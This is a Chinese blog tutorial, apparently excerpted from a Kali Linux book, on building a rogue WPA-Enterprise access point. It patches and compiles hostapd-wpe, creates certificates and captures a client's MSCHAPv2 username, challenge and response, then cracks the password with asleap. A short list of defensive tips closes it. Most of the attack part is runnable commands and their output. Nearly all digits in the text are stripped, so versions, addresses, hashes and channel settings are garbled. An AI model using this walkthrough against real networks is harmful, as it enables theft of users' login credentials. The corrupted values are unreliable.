root@localhost:~# apt-get install libssl-dev libnl-dev

执行以上命令后,如果没有报错,则表示以上软件包安装成功。

()下面获取hostapd软件的补丁包hostapd-wpe。执行命令如下所示。

root@localhost:~# git clone https://github.com/OpenSecurityResearch/hostapd-wpe

正克隆到 &#;hostapd-wpe&#;...

remote: Counting objects: , done.

remote: Total (delta ), reused (delta )

Unpacking objects: % (/), done.

从以上输出信息可以看到,已成功获取到了补丁包hostapd-wpe。git工具默认将下载的文件保存在当前目录中。

()下载hostapd软件包。执行命令如下所示。

root@localhost:~# wget http://hostap.epitest.fi/releases/hostapd-..tar.gz

---- ::--  http://hostap.epitest.fi/releases/hostapd-..tar.gz

正在解析主机 hostap.epitest.fi (hostap.epitest.fi)... ...

正在连接 hostap.epitest.fi (hostap.epitest.fi)|...|:... 已连接。

已发出 HTTP 请求,正在等待回应... Moved Permanently

位置:http://w.fi/releases/hostapd-..tar.gz [跟随至新的 URL]

---- ::--  http://w.fi/releases/hostapd-..tar.gz

正在解析主机 w.fi (w.fi)... ...

再次使用存在的到 hostap.epitest.fi: 的连接。

已发出 HTTP 请求,正在等待回应... OK

长度: (.M) [application/x-gzip]

正在保存至: “hostapd-..tar.gz”

%[=====================================================================

==============>] ,,    K/s 用时 s

-- :: ( KB/s) - 已保存 “hostapd-..tar.gz” [/])

以上输出信息显示了下载hostapd软件包的详细过程。从最后一行信息可以看出,下载的软件包已保存为hostapd-..tar.gz,该软件包默认保存在当前目录中。接下来,就可以安装hostapd软件包了。

()解压hostapd软件包。执行命令如下所示。

root@localhost:~# tar zxvf hostapd-..tar.gz

执行以上命令后,hostapd软件包中的所有文件将被解压到名为hostapd-.的文件中。接下来,就需要切换到该目录中进行hostapd软件包的安装。

()使用patch命令为hostapd软件包打补丁。其中,patch命令的语法格式如下所示。

patch [-R] {-p(n)} [--dry-run] < patch_file_name

以上语法中各参数含义如下所示。

● -R:卸载patch包。

● -p:为patch的缩写。

● n:指patch(补丁包)文件所在位置(patch)的第n条‘/’。

● --dry-run:尝试patch软件,并不真正修改软件。

● patch_file_name:指定补丁包的文件名。

本例中的补丁包保存在/root/hostapd-wpe中。这里指定的路径为-p。执行命令如下所示。

root@localhost:~# cd hostapd-./ #切换到解压出的文件中

root@localhost:~/hostapd-.# patch -p < ../hostapd-wpe/hostapd-wpe.patch   #打补丁包

patching file hostapd/.config

patching file hostapd/config_file.c

patching file hostapd/hostapd-wpe.conf

patching file hostapd/hostapd-wpe.eap_user

patching file hostapd/main.c

patching file hostapd/Makefile

patching file src/ap/beacon.c

patching file src/ap/ieee_.c

patching file src/crypto/ms_funcs.c

patching file src/crypto/ms_funcs.h

patching file src/crypto/tls_openssl.c

patching file src/eap_server/eap_server.c

patching file src/eap_server/eap_server_mschapv.c

patching file src/eap_server/eap_server_peap.c

patching file src/eap_server/eap_server_ttls.c

patching file src/Makefile

patching file src/utils/wpa_debug.c

patching file src/wpe/Makefile

patching file src/wpe/wpe.c

patching file src/wpe/wpe.h

以上输出的信息,显示了打补丁的所有文件。

()编译hostapd软件包。执行命令如下所示。

root@localhost:~/hostapd-.# cd hostapd/

root@localhost:~/hostapd-./hostapd# make

执行以上命令后,将输出编译的所有文件信息。如果没有提示错误信息,则表示编译成功。

()有了hostapd工具做无线接入点,还需要创建一些证书。在该程序中提供了一个可执行脚本bootstrap,可以来创建证书。所以,运行该脚本即可创建需要的证书。执行命令如下所示。

root@localhost:~/hostapd-./hostapd# cd ../../hostapd-wpe/certs/

root@localhost:~/hostapd-wpe/certs# ./bootstrap

执行以上命令后,将输出如下信息:

openssl dhparam -out dh

Generating DH parameters, bit long safe prime, generator

This is going to take a long time

...............................+...+.....................................+...........+.............+.................................................

......................................+..............................................................................++*++*++*

openssl req -new  -out server.csr -keyout server.key -config ./server.cnf

Generating a bit RSA private key

...+++

.....................+++

writing new private key to &#;server.key&#;

-----

openssl req -new -x -keyout ca.key -out ca.pem

-days `grep default_days ca.cnf | sed &#;s/.*=//;s/^ *//&#;` -config ./ca.cnf

Generating a bit RSA private key

................................................................................................................+++

....................................................................................+++

writing new private key to &#;ca.key&#;

-----

openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key `grep output_password ca.cnf

sed &#;s/.*=//;s/^ *//&#;` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf

Using configuration from ./server.cnf

Check that the request matches the signature

Signature ok

Certificate Details:

Serial Number: (x)

Validity

Not Before: Dec :: GMT

Not After : Dec :: GMT

Subject:

countryName               = FR

stateOrProvinceName       = Radius

organizationName          = Example Inc.

commonName                = Example Server Certificate

emailAddress              = admin@example.com

Xv extensions:

Xv Extended Key Usage:

TLS Web Server Authentication

Certificate is to be certified until Dec :: GMT ( days)

Write out database with new entries

Data Base Updated

openssl pkcs -export -in server.crt -inkey server.key -out server.p  -passin pass:`grep

output_password server.cnf | sed &#;s/.*=//;s/^ *//&#;` -passout pass:`grep output_password server.cnf

sed &#;s/.*=//;s/^ *//&#;`

openssl pkcs -in server.p -out server.pem -passin pass:`grep output_password server.cnf

sed &#;s/.*=//;s/^ *//&#;` -passout pass:`grep output_password server.cnf | sed &#;s/.*=//;s/^ *//&#;`

MAC verified OK

openssl verify -CAfile ca.pem server.pem

server.pem: OK

openssl x -inform PEM -outform DER -in ca.pem -out ca.der

以上输出的信息就是创建证书的过程。从以上信息中可以看到,已成功创建了ca.pem和server.pem证书。

()接下来,就可以启动hostapd程序了。但是,默认hostapd程序的主配置文件中监听的端口是有线接口eth。由于本例使用的是无线接入点,因此还需要对接口、网卡接口模式和信道等进行设置。hostapd程序的中配置文件是hostapd-wpe.conf。在该配置文件中,包括很多个配置部分。本例中需要配置的信息如下所示。

root@localhost:~/hostapd-./hostapd# vi hostapd-wpe.conf

# Configuration file for hostapd-wpe

#

# General Options - Likely to need to be changed if you&#;re using this

# Interface - Probably wlan for ., eth for wired

interface=wlan #指定无线网卡的接口,本例中是wlan

# Driver - comment this out if .

#driver=wired #使用“#”注释该选项

# . Options - Uncomment all if .

ssid=hostapd-wpe #开启ssid选项

hw_mode=g #开启硬件模式选项,这里使用的是g模式。但某些网卡可能不支持该模式

channel= #开启信道选项

##### IEEE . related configuration #######################################

# SSID to be used in IEEE . management frames

ssid=Test #设置SSID的名称

()现在就可以运行hostapd程序了。执行命令如下所示。

root@localhost:~/hostapd-./hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.conf

Using interface wlan with hwaddr :c:::e:f and ssid "Test"

wlan: interface state UNINITIALIZED->ENABLED

wlan: AP-ENABLED

从以上输出信息中可以看到,已成功启动了接口wlan,并且使用的SSID名称为Test。此时,当有客户端连接该网络时,将会捕获到其用户名和密码等信息。如下所示。

root@localhost:~/hostapd-./hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.conf

Using interface wlan with hwaddr :c:::e:f and ssid "Test"

wlan: interface state UNINITIALIZED->ENABLED

wlan: AP-ENABLED

wlan: STA :f:a:ce:ee:a IEEE .: authenticated

wlan: STA :f:a:ce:ee:a IEEE .: associated (aid )

wlan: CTRL-EVENT-EAP-STARTED :f:a:ce:ee:a

wlan: CTRL-EVENT-EAP-PROPOSED-METHOD vendor= method=

wlan: CTRL-EVENT-EAP-PROPOSED-METHOD vendor= method=

mschapv: Tue Dec ::

username:      bob

challenge:     e:b:d::eb::c:a

response:      :d:c:::f:f::e:b:cb:e::fa::b:f:f::d:f:::c

jtr NETNTLM:   bob:$NETNTLM$ebdebca$dcffebcbefa

bffdfc

从以上输出信息中可以看到,Mac地址为:f:a:ce:ee:a的客户端连接了Test无线网络。并且可以看到,连接该无线网络时,使用的用户名为bob,但密码处于加密状态。成功执行以上命令后,将会在运行以上命令的hostapd目录下生成一个名为hostapd-wpe.log的日志文件。在该文件中将记录认证的信息,如下所示。

root@localhost:~/hostapd-./hostapd# cat hostapd-wpe.log

mschapv: Tue Dec ::

username:      bob

challenge:     e:b:d::eb::c:a

response:      :d:c:::f:f::e:b:cb:e::fa::b:f:f::d:f:::c

jtr NETNTLM:   bob:$NETNTLM$ebdebca$dcffebcbefa

bffdfc

以上就是记录的日志信息。注意,如果要查看该日志文件中的信息,需要停止./hostapd- wpe程序才可以。

、Kali Linux的问题处理

以上是hostapd正常启动后出现的信息。但是,由于Kali Linux操作系统使用的是Network Manager管理网络接口,会影响无线网络接口的运行,在启动时将会出现以下提示信息:

root@localhost:~/hostapd-./hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.conf

nl: Could not configure driver mode

nl driver initialization failed.

hostapd_free_hapd_data: Interface wlan wasn&#;t started

从以上输出的信息中可以看到配置驱动模式,并且驱动初始化失败。出现这种情况时,需要将Network Manager关闭,然后使用ifconfig命令启动网络接口。具体实现方法如下所示。

root@localhost:~/hostapd-./hostapd# nmcli nm wifi off #关闭WiFi接口

root@localhost:~/hostapd-./hostapd# rfkill unblock wlan #开启wlan

root@localhost:~/hostapd-./hostapd# ifconfig wlan .../ up #开启当前系统的无线接口

root@localhost:~/hostapd-./hostapd# sleep #设置秒的延迟

执行以上操作后,即可成功启动hostapd程序。

、使用asleap破解密码

通过前面的操作,用户可以成功获取登录无线网络的用户名、挑战码、响应码等信息。此时,用户可以使用asleap工具通过指定挑战码和响应码来破解用户的密码。下面介绍使用asleap工具破解密码

asleap命令的语法格式如下所示。

asleap [选项]

以上命令常用选项含义如下所示。

● -r:读取来自一个libpcap文件的信息。

● -i:指定捕获接口。

● -f:使用NT-Hash字典文件。

● -n:使用NT-Hash索引文件。

● -s:跳过检查来通过认证。

● -h:显示帮助信息。

● -v:显示详细的输出信息。

● -V:显示程序的版本信息。

● -C:指定挑战码的值。

● -R:指定响应码的值。

● -W:指定ASCII密码字典文件。

使用asleap破解以上bob用户的密码。执行命令如下所示。

root@localhost:~# asleap -C e:b:d::eb::c:a -R :d:c:::f:f::e:b:cb:e:

:fa::b:f:f::d:f:::c -W list

asleap . - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>

Using wordlist mode with "list".

hash bytes:        e

NT hash:           fcfcaaefffeebaae

password:          passbob

从以上输出信息中可以看到,bob用户的密码为passbob,hash大小为e。以上命令中-C指定的是bob用户的挑战码,-R指定的是响应码,-W选项指定的是密码字典文件。

六、WPA+RADIUS的安全措施

根据前面的介绍,可以发现WPA+RADIUS的无线网络也很容易被破解出。为了使自己的网络更安全,需要采取一些其他防护措施并增加防范意识。下面介绍几个应对WPA+RADIUS的安全措施。

()更改无线路由器默认设置。

()禁止SSID广播。

()设置Mac地址过滤。

()关闭WPA/QSS。

()物理的保护网络。

()如果所处的网络环境比较稳定的话,可以将路由器的DHCP功能关闭,使用静态IP。

()设置比较长的、复杂的密码

本文链接:http://www.woshiqian.com/post/56326.html

百度分享获取地址:https://share.baidu.com/code
无线网络安全  

我是钱微信/QQ:5087088

广告位、广告合作QQ:5087088

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

       

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。